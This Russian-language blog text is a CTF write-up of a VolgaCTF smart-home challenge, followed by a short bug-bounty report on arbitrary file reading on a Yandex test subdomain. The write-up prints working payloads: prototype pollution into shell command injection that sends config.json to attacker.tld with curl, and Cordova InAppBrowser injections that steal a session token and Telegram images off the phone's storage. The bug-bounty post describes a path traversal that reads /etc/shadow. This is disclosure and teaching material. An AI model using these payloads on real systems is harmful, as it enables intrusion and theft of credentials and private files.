                        mqttPublish(client_id, command);

JSON объект с командой photo, отправленной пользователем, попадал в функцию merge.

function merge(obj1, obj2) {
    for (var attr in obj2) { 
        if(attr === '__proto__') continue;
        if(typeof obj2[attr] == 'object') 
            merge(obj1[attr], obj2[attr]); 
        obj1[attr] = obj2[attr]; 
    }
}

Но для перезаписи неинициализированных полей объекта нельзя было использовать __proto__, который обычно указан в PoC Prototype Pollution Attack. Участники должны были найти, что атака возможна также через constructor.prototype. Таким образом - следующая команда добавляла к любому объекту поле test со значением test2.

{"cmd":"photo","device_id":2,"constructor":{"prototype":{"test":"test2"}}}

В качестве подсказки из конфигурационного файла использовалась неинициализированная переменная filename, которая попадала в модуль pi-camera при создании фотографии. Данный модуль является оберткой для node.js над консольными утилитами получения изображений с Raspberry Pi Camera.

    image = this.config.camera.filename ? this.config.camera.filename : '/home/pi/gateway/images/output.jpg';
    camera = new piCamera({
        mode: 'photo',
        output: image,
    });

    camera.snap()

Причем в нем нет какой-либо обработки параметров и они попадают в child_process.exec в результате простой конкатенации.

const { exec } = require('child_process');
...
static run(fullCmd) {
...
exec(fullCmd, (error, stdout, stderr) => {
...
}
...
static cmd(base, params) {
...
return base + ' ' + params.join(' ');

Таким образом, получить RCE на gateway можно было послав в MQTT следующую команду:

{"cmd":"photo","device_id":2,"constructor":{"prototype":{"filename":" || curl -d \'@./config.json\' http://attacker.tld/ || "}}}

При следующем вызове камеры команда будет исполнена, а gateway, получив ошибку, перезагрузится.

Flag 4 & 5

Данные флаги хранились на gateway администратора, то есть для их получения нужно повторить эксплоиты Flag 2 и Flag 3, отправив их на другой gateway. Но для этого необходимо получить доступ к учетной записи MQTT от администратора. Это можно было сделать через MQTT топик $SYS, как описано в Flag 1, либо проэксплуатировать мобильное приложение на телефоне администратора и получить сессию для API сервера, о чем будет сказано в Flag 9.

Flag 6

Фотографии сделанные gateway отправлялись на API сервер, который сохранял их в Amazon S3. Мобильное приложение для доступа к файлами запрашивало подписанную ссылку через API сервер. Выглядело это следующим образом:

Скрипт /cloud/sign не проверял принадлежность файла клиенту и подписывал любое указанное значение, но для получения флага необходимо было знать имя файла. Получить листинг файлов в S3 можно было обойдя проверку на API сервере и подписать ссылку на корень:

/cloud/sign?file=/..

Другим вариантом было получение листинга через авторизованного пользователя S3. Но для начала необходимо было получить имя bucket, так как всё взаимодействие с Amazon S3 было сделано через CloudFront. Сделать это можно было вызвав ссылку с некорректной подписью:

Либо взять его из мобильного приложения, где bucket указан в Content Security Policy.

<meta http-equiv="Content-Security-Policy" content="
default-src 'self' data: gap: https://ssl.gstatic.com 'unsafe-eval'; 
style-src 'self' 'unsafe-inline'; 
media-src *; 
img-src 'self' data: content: https://volgactf-iot-storage.s3.eu-west-2.amazonaws.com https://storage.volgactf-iot.pw; 
connect-src https://api.volgactf-iot.pw/ wss://mqtt.volgactf-iot.pw:8083 ">

После чего, получить листинг через консольные утилиты s3 от авторизованного пользователя.

aws s3 ls s3://volgactf-iot-storage
2019-09-02 17:52:12         51 flag_G42ZScXARPIEIJ4HIEEY.txt

И уже зная имя файла, подписать ссылку на доступ к нему в S3.

Небезопасная настройка с доступом к S3 от любого авторизованного пользователя была довольно распространена ранее, так как ее включали через пользовательский интерфейс, недостаточно понимая, что именно она значит. Теперь Amazon значительно затруднил это, и в пользовательском интерфейсе она появляется только после того, как данное правило было вручную прописано в ACL.

Подробнее о данных уязвимостях:
https://labs.detectify.com/2017/07/13/a-deep-dive-into-aws-s3-access-controls-taking-full-control-over-your-assets/
https://labs.detectify.com/2018/08/02/bypassing-exploiting-bucket-upload-policies-signed-urls/

Flag 7

Flag 7 представлял собой распечатанный листок, на который была направлена камера gateway администратора. Получить данный флаг можно было как просто отправив команду photo в MQTT от администратора, так и через RCE в результате эксплуатации Prototype Pollution.

Flag 8

Для доступа к остальным флагам необходимо было атаковать мобильное приложение на телефоне администратора. Чтобы участники могли делать это удаленно, был написан Telegram Bot, который передавал ссылку от участников через Firebase Cloud Message на атакующее мобильное приложение, которое, в свою очередь, просто открывало ссылку в стандартном браузере на Android. В целом все выглядело так, как будто пользователь просто проходит по ссылке из telegram сообщения.

String url = remoteMessage.getData().get("url");
Intent intent = new Intent("android.intent.action.VIEW");
intent.addCategory("android.intent.category.BROWSABLE");
intent.setData(Uri.parse(url));
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
this.getApplicationContext().startActivity(intent);

Само приложение VolgaCTF SmartHome было основано на Apache Cordova, то есть, по сути представляло собой WebView с дополнительной функциональностью, реализованной в плагинах.
Взаимодействовать с приложением SmartHome можно было через зарегистрированное BROWSABLE Activity.

<intent-filter android:label="@string/launcher_name">
  <action android:name="android.intent.action.VIEW" />
  <category android:name="android.intent.category.DEFAULT" />
  <category android:name="android.intent.category.BROWSABLE" />
  <data android:host="smarthome" android:scheme="volgactf" />
</intent-filter>

Открыть приложение через Telegram бота можно отправив ссылку с перенаправлением на URL volgactf://smarthome/

https://attacker.tld/redirect?url=volgactf://smarthome/

В приложении это использовалось для открытия внешних ссылок через специальный плагин InAppBrowser, который специально разработан для отображения страниц в изолированном WebView без доступа к Cordova плагинам.

function urlScheme(uri) {
        if(uri != '' && uri != null) {
            intentUri = new URL(uri);
            url = intentUri.searchParams.get('url');
            if((url != null) && (url.startsWith(MAIN_HOST))) {
                cordova.InAppBrowser.open(url + '#' + FLAG, '_blank', 'location=yes');
            }
        }
    }

Единственное условие, которое ограничивает - ссылка должна начинаться с подстроки https://volgactf-iot.pw.
Обойти это можно было:

  • Настроив HTTPS на поддомене вида https://volgactf-iot.pw.attacker.tld
  • Или отбросив начало хоста с помощью @ https://volgactf-iot.pw@attacker.tld

Пример получения Flag 8, который добавлялся в location.hash ко всем ссылкам, открываемым в InAppBrowser:

https://attacker.tld/redirect?url=volgactf://smarthome/?url=https://volgactf-iot.pw.attacker.tld/

<script>fetch("https://attacker.tld/sniffer/?zzz="+location.hash.slice(1));</script>

Flag 9

Последние 2 флага никто не успел получить за время соревнования. На данном этапе у участников была возможность выполнять свой JavaScript код в изолированном WebView InAppBrowser, но необходимо было поднять привилегии и выполнить JS код в основном окне Cordova, где хранилась сессия администратора для API сервера и доступ к плагинам чтения файлов на телефоне.

Перед дальнейшей эксплуатацией желательно пересобрать Android приложение добавив debuggable флаг в AndroidManifest.xml. Это бы разрешило удаленную отладку WebView в Cordova через Chrome.
Подробнее об этом:
https://developers.google.com/web/tools/chrome-devtools/remote-debugging/webviews

Погуглив можно было найти CVE-2014-0073.
https://d3adend.org/blog/posts/cordova-inappbrowser-remote-privilege-escalation/

В данной уязвимости описывается возможность выполнить JS код через некорректную обработку коллбэков, с помощью которых InAppBrowser общается с основным WebView. Оказалось, что данная уязвимость была исправлена только в iOS и плагин для Android был уязвим вплоть до 2019 года, пока я не отправил информацию в Apache, обнаружив уязвимость на рабочем проекте.

https://github.com/apache/cordova-plugin-inappbrowser/commit/686108484e6a7c1a316d7c6bc869c209c46d27e3

Пример вызова callback:

iOS
<iframe src="gap-iab://InAppBrowser85943/['some','data','in','a','JSON','array']"></iframe>

Android
<script>
prompt("gap-iab://InAppBrowser85943/['some','data','in','a','JSON','array']");
</script>

Пример выполнения JS в основном окне Cordova из inAppBrowser:

<script>
prompt("","gap-iab://InAppBrowser\');alert(12345);//")
</script>

И последнее, что отделяет от получения сессии администратора - Content Security Policy, прописанный в index.html.

CSP не запрещает выполнять JS, но мешает отправить данные обратно к атакующему. Это легко обходится через media-src: *

<script>
prompt("","gap-iab://InAppBrowser\');document.write(\\"<audio src=https://attacker.tld/\\"+window.localStorage.getItem(\'iot_session\')+\\">\\")//")
</script>

Flag 9 возвращается при запросе https://api.volgactf-iot.pw/user с админской сессией.

Flag 10

В последнем задании необходимо было получить фотографию из истории сообщений Telegram администратора.
У приложения SmartHome был доступ на чтение файлов с SDCARD, а используемый плагин для HTTP запросов cordova-plugin-advanced-http имел в зависимостях плагин для работы с файлами.

<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />

В результате для листинга директорий и чтения файлов получились следующие вектора.

Листинг директории /sdcard/Telegram/Telegram Images/

<script>
prompt("","gap-iab://InAppBrowser');window.resolveLocalFileSystemURL(\"file:///sdcard/Telegram/Telegram%20Images/\",function(dirEntry){dirEntry.createReader().readEntries(function(entries){result=\"\";for(i=0;i<entries.length;i++){result+=entries[i].name+\";\";}document.write(\"<audio src=https://attacker.tld/\"+btoa(result)+\">\")});});//")
</script>

Чтение файлов

<script>
prompt("","gap-iab://InAppBrowser');window.resolveLocalFileSystemURL(\"file:///sdcard/Telegram/Telegram%20Images/\",function(dirEntry){dirEntry.createReader().readEntries(function(entries){for(i=0;i<entries.length;i++){document.write(\"<audio src=https://attacker.tld/filename:\"+btoa(entries[i].name)+\">\");entries[i].file(function(file){reader=new FileReader();reader.onloadend=function(){document.write(\"<audio src=https://attacker.tld/\"+this.result+\">\");};reader.readAsDataURL(file);});}});});//")
</script>

03 января 2018

[pda-test.yandex.ru] Arbitrary File Reading


Для автоматизации простых проверок на сайтах bug bounty я использую два php скрипта. Первый собирает поддомены с разных источников (например, crt.sh, virustotal, shodan) для программ, где scope указан в виде *.blah.com. Второй скрипт уже непосредственно ищет уязвимости по всему списку хостов, которые можно проверить за 1 запрос. Именно они и находят все эти пачки CRLF Injection и Open Redirect из моего профиля на hackerone. Причем, чем больше уязвимостей раскрываешь на h1, тем реже они потом находятся скриптами :)

Придумывая новые идеи для второго скрипта, я решил проверить раскрытие исходного кода для JS приложений. Иногда из-за неправильной настройки приложения раздача статических файлов может быть из той же папки, где находится и серверный JS код.

/app.js
/server.js

Данная проверка выстрелила на одном из поддоменов Yandex.

https://pda-test.yandex.ru/app.js

Данный файл был серверным JS кодом, но не содержал никакой интересной информации и больше был похож на шаблон. Поэтому я дополнительно перебрал js файлы по словарю. В случае, если имя файла содержало нижнее подчеркивание и заканчивалось на “.js”, сервер выдавал stacktrace.

За счет того, что nginx не нормализует path traversal с использованием обратного слэша, а NodeJS корректно его обрабатывает, удалось получить чтение js кода из произвольной папки. Подробнее про это можно прочитать тут - Arbitrary File Reading in Next.js. Единственным условием было наличие в пути нижнего подчеркивания, причем вариант “fake_path/../realfile” не работал. К счастью, в stacktrace был путь до папки node_modules, которую я и использовал.

Протестировав варианты отбрасывания постфикса “.js” внезапно отработал %3F, что в результате дало чтение произвольных файлов.

Более того, прав хватало даже на чтение /etc/shadow.

PS: Пользователь с логином zlietapki особенно порадовал.